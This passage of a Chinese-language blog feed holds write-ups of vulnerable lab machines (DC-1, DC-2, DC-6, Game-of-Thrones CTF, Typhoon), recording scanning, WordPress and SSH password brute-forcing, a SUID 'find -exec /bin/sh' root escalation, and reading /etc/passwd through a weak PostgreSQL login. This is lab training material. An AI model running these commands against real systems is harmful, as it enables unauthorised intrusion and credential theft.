-rwsr-xr-x 1 root root 35252 Apr 13  2011 /bin/ping6
-rwsr-xr-x 1 root root 67704 Dec 10  2012 /bin/umount
-rwsr-sr-x 1 daemon daemon 50652 Oct  4  2014 /usr/bin/at
-rwsr-xr-x 1 root root 35892 Feb 27  2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 45396 Feb 27  2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 30880 Feb 27  2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44564 Feb 27  2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 66196 Feb 27  2017 /usr/bin/gpasswd
-rwsr-sr-x 1 root mail 83912 Nov 18  2017 /usr/bin/procmail
-rwsr-xr-x 1 root root 162424 Jan  6  2012 /usr/bin/find
-rwsr-xr-x 1 root root 937564 Feb 11  2018 /usr/sbin/exim4
-rwsr-xr-x 1 root root 9660 Jun 20  2017 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 248036 Jan 27  2018 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 5412 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-- 1 root messagebus 321692 Feb 10  2015 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 84532 May 22  2013 /sbin/mount.nfs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是此时并没有什么用，我们这里要讲的是用fing命令提权&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cnblogs.com/aaronax/p/5618024.html&quot;&gt;find 之exec&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;随便创建一个文件&lt;code&gt;touch anquanke&lt;/code&gt;&lt;br /&gt;
然后find查找并且加上-exec选项：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find anquanke -exec &apos;whoami&apos; \;
root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现此时是root用户，于是执行/bin/sh&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find anquanke -exec &apos;/bin/sh&apos; \;
whoami
root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至此提权成功了&lt;/p&gt;
&lt;h2&gt;DC-6靶机——wordpress渗透&lt;/h2&gt;
&lt;p&gt;老规矩探测靶机的ip，然后扫描端口发现开放了80，按照下载时作者的提示需要修改hosts文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	kali
192.168.41.129  wordy
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之前kali上的&lt;code&gt;wpscan&lt;/code&gt;有问题，更新镜像源重新升级了一下&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wpscan --url http://wordy/ -e -t 20&lt;/code&gt; 直接扫一下看能有什么结果&lt;/p&gt;
&lt;p&gt;扫描到用户：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[i] User(s) Identified:

[+] admin
 | Detected By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://wordy/index.php/wp-json/wp/v2/users/?per_page=100&amp;amp;page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] mark
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] sarah
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] jens
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] graham
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下一步根据上面下载地址处作者的提示，我们生产一个字典包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# root @ kali in ~ [21:29:41] 
$ cat /usr/share/wordlists/rockyou.txt | grep k01 &amp;gt; passwords.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后使用wpscan爆破密码，登陆后台开始提权&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/2549#toc-4&quot;&gt;Linux 反弹shell（二）反弹shell的本质&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.anquanke.com/post/id/173111#h3-3&quot;&gt;渗透测试实战-DC-1:1靶机入侵+Matrix2靶机入侵&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%AE%9E%E6%88%98%E2%80%94%E2%80%94DC-5+DC-6%E9%9D%B6%E6%9C%BA%E5%85%A5%E4%BE%B5&quot;&gt;渗透测试实战——DC-5+DC-6靶机入侵&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh&quot;&gt;Linux提权辅助脚本&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Game-of-Thrones-CTF-1靶机复现&lt;/h2&gt;
&lt;p&gt;一个很有意思的靶机&lt;/p&gt;
&lt;p&gt;扫描靶机ip地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# root @ kali in ~ [19:58:22] 
$ arp-scan 192.168.19.0/24
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.19.2	00:50:56:f9:02:e9	VMware, Inc.
192.168.19.131	00:0c:29:d0:e7:e1	VMware, Inc. ---&amp;gt; 靶机
192.168.19.254	00:50:56:e8:10:0e	VMware, Inc.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;扫描端口&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# root @ kali in ~ [19:59:38] 
$ masscan -p0-65535 192.168.19.131  --rate=1000000

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-08-10 23:59:47 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on 192.168.19.131                                  
Discovered open port 21/tcp on 192.168.19.131                                  
Discovered open port 1337/tcp on 192.168.19.131                                
Discovered open port 10000/tcp on 192.168.19.131                               
Discovered open port 53/tcp on 192.168.19.131                                  
Discovered open port 22/tcp on 192.168.19.131                                  
Discovered open port 5432/tcp on 192.168.19.131
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;扫描端口对应的服务：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# root @ kali in ~ [20:00:24] 
$ nmap -sV -T4 192.168.19.131           
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-10 20:02 EDT
Stats: 0:01:36 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 83.33% done; ETC: 20:04 (0:00:19 remaining)
Nmap scan report for 192.168.19.131
Host is up (0.000085s latency).
Not shown: 992 closed ports
PORT      STATE    SERVICE    VERSION
21/tcp    open     ftp?
22/tcp    open     ssh        Linksys WRT45G modified dropbear sshd (protocol 2.0)
53/tcp    open     domain     (unknown banner: Bind)
80/tcp    open     http       Apache httpd
143/tcp   filtered imap
3306/tcp  filtered mysql
5432/tcp  open     postgresql PostgreSQL DB 9.6.4 - 9.6.6
10000/tcp open     http       MiniServ 1.590 (Webmin httpd)
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port21-TCP:V=7.70%I=7%D=8/10%Time=5D4F5B1F%P=x86_64-pc-linux-gnu%r(Gene
SF:ricLines,11C,&quot;220-------------------------\r\n220-\&quot;These\x20are\x20the
SF:\x20Dorne\x20city\x20walls\.\x20We\x20must\x20enter!\&quot;\x20-\x20Grey\x20
SF:Worm\r\n220-\r\n220-\&quot;A\x20fail2ban\x20spell\x20is\x20protecting\x20the
SF:se\x20walls\.\x20You&apos;ll\x20never\x20get\x20in\&quot;\x20-\x20One\x20of\x20th
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时80端口是开放的，所以可以扫描一下目录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[20:04:36] 200 -    1KB - /favicon.ico
[20:04:37] 301 -  232B  - /h  -&amp;gt;  http://192.168.19.131/h/
[20:04:37] 200 -    3KB - /index.php/login/
[20:04:37] 200 -    3KB - /index.php
[20:04:37] 301 -  233B  - /js  -&amp;gt;  http://192.168.19.131/js/
[20:04:38] 301 -  236B  - /music  -&amp;gt;  http://192.168.19.131/music/
[20:04:40] 200 -  135B  - /robots.txt
[20:04:40] 403 -  222B  - /server-status
[20:04:40] 403 -  223B  - /server-status/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;robots.txt文件&lt;/p&gt;
&lt;p&gt;依次访问这些页面，同时记得查看源代码，具体的分析之后再搞&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; /the-tree/
User-agent: *
Disallow: /secret-island/
Disallow: /direct-access-to-kings-landing/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;参考&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.freebuf.com/articles/web/177562.html&quot;&gt;Game-of-Thrones-CTF-1靶机完全攻略&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;DC-2靶机&lt;/h2&gt;
&lt;p&gt;同样的扫描靶机ip，然后扫描端口，之后扫描端口对应的服务&lt;/p&gt;
&lt;p&gt;发现开放了80和7744端口&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# root @ kali in ~/dirsearch on git:master o [20:46:10] 
$ nmap -sV -p80,7744 192.168.19.132
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-10 20:47 EDT
Nmap scan report for 192.168.19.132
Host is up (0.00046s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
MAC Address: 00:0C:29:6A:1A:54 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后修改hosts文件，打开网址发现又是一个wordpress&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/dc2-0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag页面提示用cewl命令生成一个字典&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cewl -w dc2_passwords.txt http://dc-2&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;用&lt;code&gt;wpscan&lt;/code&gt;扫描出用户名，然后再用&lt;code&gt;wpscan&lt;/code&gt;爆破密码&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wpscan --url http://dc-2/ -e -t 20&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wpscan --url http://dc-2/ -U user.txt -P dc2_passwords.txt&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[i] Valid Combinations Found:
 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>typhoon靶机渗透</title><link>https://rayepeng.net/posts/typhoon%E9%9D%B6%E6%9C%BA%E6%B8%97%E9%80%8F/</link><guid isPermaLink="true">https://rayepeng.net/posts/typhoon%E9%9D%B6%E6%9C%BA%E6%B8%97%E9%80%8F/</guid><pubDate>Fri, 09 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;昨天晚上实战了一把，遇到了很多师傅，也积累了一些刷靶机的经验，虽然Windows那台靶机不知道是怎么回事，但是Linux那台还是玩的比较爽的。&lt;/p&gt;
&lt;p&gt;今天又重新从 &lt;a href=&quot;https://vulnhub.com&quot;&gt;https://vulnhub.com&lt;/a&gt; 上把靶机搞下来装到Vmware上自己实验&lt;/p&gt;
&lt;p&gt;靶机渗透之前也玩过，但是我每次发现自己都无法找到靶机的ip地址，这次重新实验了一下可以使用&lt;code&gt;arp-scan&lt;/code&gt;和&lt;code&gt;masscan&lt;/code&gt;工具&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# root @ kali in ~ [3:04:28] C:1
$ arp-scan 192.168.41.0/24
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.41.1	00:50:56:c0:00:08	VMware, Inc.
192.168.41.2	00:50:56:e0:f7:aa	VMware, Inc.
192.168.41.166	00:0c:29:d7:ef:a4	VMware, Inc.
192.168.41.254	00:50:56:f5:fb:f6	VMware, Inc.

62 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 7.212 seconds (35.50 hosts/sec). 4 responded
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前两个是类似网关的，第四个是kali的ip，中间第三个就是靶机的ip地址&lt;/p&gt;
&lt;p&gt;用&lt;code&gt;masscan&lt;/code&gt;也可以发现,同时端口也可以扫出来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# root @ kali in ~ [3:04:28] C:1
$ masscan -p0-65535 192.168.41.0/24 --rate=1000000

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-08-09 07:05:04 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 256 hosts [65536 ports/host]
Discovered open port 631/tcp on 192.168.41.166                                 
Discovered open port 139/tcp on 192.168.41.166                                 
Discovered open port 80/tcp on 192.168.41.166                                  
Discovered open port 22/tcp on 192.168.41.166                                  
Discovered open port 5432/tcp on 192.168.41.166                                
Discovered open port 995/tcp on 192.168.41.166                                 
Discovered open port 110/tcp on 192.168.41.166                                 
Discovered open port 445/tcp on 192.168.41.166                                 
Discovered open port 3306/tcp on 192.168.41.166                                
Discovered open port 27017/tcp on 192.168.41.166                               
Discovered open port 44337/tcp on 192.168.41.166                               
Discovered open port 6379/tcp on 192.168.41.166                                
Discovered open port 53/tcp on 192.168.41.2                                    
Discovered open port 25/tcp on 192.168.41.166                                  
Discovered open port 40811/tcp on 192.168.41.166                               
Discovered open port 33070/tcp on 192.168.41.166                               
Discovered open port 993/tcp on 192.168.41.166                                 
Discovered open port 43074/tcp on 192.168.41.166                               
Discovered open port 21/tcp on 192.168.41.166                                  
Discovered open port 53/tcp on 192.168.41.166                                  
Discovered open port 2049/tcp on 192.168.41.166                                
Discovered open port 37535/tcp on 192.168.41.166                               
Discovered open port 8080/tcp on 192.168.41.166                                
Discovered open port 143/tcp on 192.168.41.166
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;nmap扫描最常用命令&lt;code&gt;nmap -sV -A -p- ip&lt;/code&gt;可以扫描到靶机开放的端口和服务，当然那台靶机开放了好多好多个端口，需要记住一些常用的端口和它们对应的服务&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Nmap scan report for 192.168.110.164
Host is up (0.00034s latency).
Not shown: 985 filtered ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.2
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-bounce: bounce working!
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.110.72
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 02:df:b3:1b:01:dc:5e:fd:f9:96:d7:5b:b7:d6:7b:f9 (DSA)
|   2048 de:af:76:27:90:2a:8f:cf:0b:2f:22:f8:42:36:07:dd (RSA)
|   256 70:ae:36:6c:42:7d:ed:1b:c0:40:fc:2d:00:8d:87:11 (ECDSA)
|_  256 bb:ce:f2:98:64:f7:8f:ae:f0:dd:3c:23:3b:a6:0f:61 (ED25519)
25/tcp   open  smtp?
|_smtp-commands: typhoon, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
53/tcp   open  domain      ISC BIND 9.9.5-3 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.9.5-3-Ubuntu
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry 
|_/mongoadmin/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Typhoon Vulnerable VM by PRISMA CSI
110/tcp  open  pop3        Dovecot pop3d
|_pop3-capabilities: PIPELINING TOP AUTH-RESP-CODE STLS SASL CAPA UIDL RESP-CODES
|_ssl-date: TLS randomness does not represent time
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  2,3,4       2049/tcp  nfs
|   100003  2,3,4       2049/udp  nfs
|   100005  1,2,3      43523/tcp  mountd
|   100005  1,2,3      58512/udp  mountd
|   100021  1,3,4      39728/udp  nlockmgr
|   100021  1,3,4      59010/tcp  nlockmgr
|   100024  1          39860/udp  status
|   100024  1          57414/tcp  status
|   100227  2,3         2049/tcp  nfs_acl
|_  100227  2,3         2049/udp  nfs_acl
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp  open  imap        Dovecot imapd (Ubuntu)
|_imap-capabilities: OK more Pre-login have post-login listed capabilities IMAP4rev1 LOGINDISABLEDA0001 ID IDLE STARTTLS ENABLE LITERAL+ SASL-IR LOGIN-REFERRALS
|_ssl-date: TLS randomness does not represent time
445/tcp  open  netbios-ssn Samba smbd 4.1.6-Ubuntu (workgroup: WORKGROUP)
993/tcp  open  ssl/imaps?
|_ssl-date: TLS randomness does not represent time
995/tcp  open  ssl/pop3s?
|_ssl-date: TLS randomness does not represent time
2049/tcp open  nfs_acl     2-3 (RPC #100227)
3306/tcp open  mysql?
|_mysql-info: ERROR: Script execution failed (use -d to debug)
8080/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
| http-methods: 
|   Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_  Potentially risky methods: PUT DELETE
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP
Running: Actiontec embedded, Linux
OS CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel
OS details: Actiontec MI424WR-GEN3I WAP
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: TYPHOON; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时还有一个扫描结果：以前似乎没有看到过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 1h43m54s, median: 7h59m58s
| nbstat: NetBIOS name: TYPHOON, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: &amp;lt;unknown&amp;gt; (unknown)
| Names:
|   TYPHOON&amp;lt;00&amp;gt;          Flags: &amp;lt;unique&amp;gt;&amp;lt;active&amp;gt;
|   TYPHOON&amp;lt;03&amp;gt;          Flags: &amp;lt;unique&amp;gt;&amp;lt;active&amp;gt;
|   TYPHOON&amp;lt;20&amp;gt;          Flags: &amp;lt;unique&amp;gt;&amp;lt;active&amp;gt;
|   \x01\x02__MSBROWSE__\x02&amp;lt;01&amp;gt;  Flags: &amp;lt;group&amp;gt;&amp;lt;active&amp;gt;
|   WORKGROUP&amp;lt;00&amp;gt;        Flags: &amp;lt;group&amp;gt;&amp;lt;active&amp;gt;
|   WORKGROUP&amp;lt;1d&amp;gt;        Flags: &amp;lt;unique&amp;gt;&amp;lt;active&amp;gt;
|_  WORKGROUP&amp;lt;1e&amp;gt;        Flags: &amp;lt;group&amp;gt;&amp;lt;active&amp;gt;
| smb-os-discovery: 
|   OS: Unix (Samba 4.1.6-Ubuntu)
|   Computer name: typhoon
|   NetBIOS computer name: TYPHOON\x00
|   Domain name: local
|   FQDN: typhoon.local
|_  System time: 2019-08-09T11:30:49+03:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-08-09 04:30:48
|_  start_date: N/A

TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   0.04 ms 192.168.41.2
2   0.17 ms 192.168.110.164
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我最先打的是2049端口，因为这个端口对应的是nfs服务，用这条命令：&lt;br /&gt;
&lt;code&gt;nmap -sV --script=nfs-showmount ip&lt;/code&gt;扫出可以远程挂载的目录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/aaaaaaa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后尝试挂载，但是我无法用get命令将文件拷贝下来emmmm，主机也没有对应的挂载目录。&lt;/p&gt;
&lt;p&gt;队友打了21号端口，但是信息也不是很多&lt;/p&gt;
&lt;p&gt;22号端口是ssh服务，A组的师傅爆出了密码，参考安全客上的方法，可以先枚举用户名，&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;发现靶机名字为typhoon就想着去测试一下看看账号存不存在,利用ssh用户枚举漏洞进行测试&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在GitHub上找了一个ssh_enum的脚本，尝试一下还行但是没有好字典&lt;/p&gt;
&lt;p&gt;hydra可以爆破弱口令： &lt;code&gt;hydra -l typhoon -P /usr/share/wordlist/metasploit/unix_passwords.txt ssh://192.168.56.150&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;第一次渗透感觉还不是很熟练，能够做到的就是这些:cry:&lt;/p&gt;
&lt;h3&gt;21号端口&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;search ftp_version&lt;/code&gt;收集ftp服务器的信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf5 auxiliary(scanner/ftp/ftp_version) &amp;gt; exploit 

[+] 192.168.41.166:21     - FTP Banner: &apos;220 (vsFTPd 3.0.2)\x0d\x0a&apos;
[*] 192.168.41.166:21     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果这个版本的ftp有漏洞的话是不是可以getshell？&lt;/p&gt;
&lt;p&gt;浏览器直接访问并没有什么东西&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/typhoon.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;尝试使用&lt;code&gt;exploit/unix/ftp/vsftpd_234_backdoor&lt;/code&gt;进行渗透但是没成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/ftp0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;22端口&lt;/h3&gt;
&lt;p&gt;尝试枚举用户名为&lt;code&gt;typhoon&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;成功枚举&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/typhoon0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用hydra去爆破密码&lt;code&gt;hydra -l typhoon -P /usr/share/wordlist/metasploit/unix_passwords.txt ssh://192.168.41.166&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/typhoon1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;25端口smtp服务&lt;/h3&gt;
&lt;p&gt;获取到服务器的信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf5 auxiliary(scanner/smtp/smtp_version) &amp;gt; exploit 

[+] 192.168.41.166:25     - 192.168.41.166:25 SMTP 220 typhoon ESMTP Postfix (Ubuntu)\x0d\x0a
[*] 192.168.41.166:25     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5432端口postgresql服务&lt;/h3&gt;
&lt;p&gt;补充一点postgresql操作：&lt;/p&gt;
&lt;p&gt;列出数据库&lt;code&gt;\l&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;postgres=# \l
                                  List of databases
   Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
-----------+----------+----------+-------------+-------------+-----------------------
 postgres  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
 template1 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
(3 rows)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;列出table’\d’:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ostgres=# \d
         List of relations
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | mrlee | table | postgres
(1 row)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后使用metasploit的模块去收集信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf5 auxiliary(scanner/postgres/postgres_version) &amp;gt; exploit 

[*] 192.168.41.166:5432 Postgres - Version PostgreSQL 9.3.4 on x86_64-unknown-linux-gnu, compiled by gcc (Ubuntu 4.8.2-16ubuntu6) 4.8.2, 64-bit (Post-Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接发现弱口令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[-] 192.168.41.166:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[-] 192.168.41.166:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
[+] 192.168.41.166:5432 - Login Successful: postgres:postgres@template1
[-] 192.168.41.166:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后登陆&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# root @ kali in ~ [3:34:50] C:127
$ psql -h 192.168.41.166 -U postgres
Password for user postgres: 
psql (11.2 (Debian 11.2-2), server 9.3.4)
Type &quot;help&quot; for help.

postgres=# help
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;select pg_ls_dir(&apos;./&apos;);&lt;/code&gt;列出目录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;postgres=# select pg_ls_dir(&apos;./&apos;);
    pg_ls_dir    
-----------------
 PG_VERSION
 pg_notify
 pg_multixact
 pg_subtrans
 pg_serial
 pg_snapshots
 pg_stat
 pg_clog
 pg_xlog
 base
 pg_twophase
 pg_tblspc
 global
 pg_stat_tmp
 postmaster.opts
 postmaster.pid
(16 rows)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;建表并且从&lt;code&gt;/etc/passwd&lt;/code&gt;中拷贝数据过来再读取,（这个姿势第一次见）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;postgres=# DROP TABLE if EXISTS MrLee;
NOTICE:  table &quot;mrlee&quot; does not exist, skipping
DROP TABLE
postgres=# CREATE TABLE MrLee(t TEXT);
CREATE TABLE
postgres=# COPY MrLee FROM &apos;/etc/passwd&apos;;
COPY 44
postgres=# SELECT * FROM MrLee limit 1 offset 0;
                t                
---------------------------------
 root:x:0:0:root:/root:/bin/bash
(1 row)

postgres=# SELECT * FROM MrLee;
                                         t                                         
-----------------------------------------------------------------------------------
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 bin:x:2:2:bin:/bin:/usr/sbin/nologin
 sys:x:3:3:sys:/dev:/usr/sbin/nologin
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;DC1靶机&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;姿势： find命令提权，hydra爆破，&lt;a href=&quot;http://drupalchina.cn/node/2128&quot;&gt;Drupal重置管理员密码&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;需要积累一些靶机渗透的经验&lt;/h2&gt;
&lt;h3&gt;msf有好多的扫描工具在auxiliary模块里面，常用的ftp，ssh，smb，https&lt;/h3&gt;
